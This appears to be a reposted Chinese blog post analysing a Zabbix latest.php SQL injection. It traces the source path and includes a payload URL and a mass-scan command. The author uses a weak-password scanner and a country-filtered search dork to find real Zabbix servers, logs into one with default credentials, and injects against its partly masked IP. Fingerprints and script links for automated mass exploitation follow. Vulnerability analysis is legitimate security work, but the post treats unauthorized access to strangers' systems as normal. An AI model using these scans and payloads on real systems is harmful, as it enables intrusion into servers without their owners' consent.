概要
因为未能过滤掉latest.php页面中toggle_ids数组的输入,导致Zabbix 2.2.x,3.0.x 远程SQL注入
源码分析
下载了两份官方代码对比,左为3.0.4(已修复的版本),右为3.0.3
zabbix-3.0.3rc1frontendsphpjsrpc.php
可见新版本中删除的代码即为漏洞触发部分。
$_REQUEST
获取的数据未经过滤,直接带入CProfile::update()
暂存更新的数据。
zabbix-3.0.3rc1/frontends/php/include/classes/user/CProfile.php
latest.php
末尾包含page_footer.php
(line 829)
跟入page_footer.php
(line 38)
继续跟入CProfile::flush()
继续跟入self::insertDB()
跟入DBexecute()
php/include/db.inc.php
(line 499)
最终在mysqli_query()
执行。
实践
参考漏洞作者给出的Payload
直接访问latest.php
会返回一个You must login to view this page.
漏洞作者也指出登录后才可以(包括guest账号)。
懒得搭环境了,zabbix默认口令为admin/zabbix,正好之前写过这个PoC,先用它跑出几台机器试试。
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-weakpass.py
python POC-T.py -m zabbix-weakpass -T --api --dork "zabbix country:cn" -t 30
结果还不少:
拿其中一个站,登录之后访问:
http://58.xx.xx.xx:82//latest.php?output=ajax&sid=17892f8c4912dfcd&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#
这里又报无权限,看了下源码,将sid参数值设置为登录后sessionid
的后16位。
再次提交,回显看到MySQL的报错,证明漏洞存在。
自动化验证Tips
目前各平台流出的PoC问题:不清楚后端用的什么数据库,难以获得可信度大的回显(如 md5(0x11)
)
源码中显示支持这些
* oracle
* mysql
* db2
* postgresql
* sqlite3
源码对于不同数据库报错格式有两种,可用于PoC验证的特征字段:
-
error('Error in query ['.$query.'] ['.mysqli_error($DB['DB']).']');
-
error('SQL error ['.$query.'] in ['.$e.']');
目前可以用作检验标准的特征字段是:
-
table class="msgerr"
-
li class="error"
-
Error in query [
orSQL error [
可以多实践一些版本增加PoC的容错性。
刷洞的话不如直接用jsrpc.php
的PoC:
https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-sqli.py
如有排版问题请点击阅读原文
原文始发于微信公众号(乐枕迭代日志):Zabbix latest.php Insert注入分析与实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论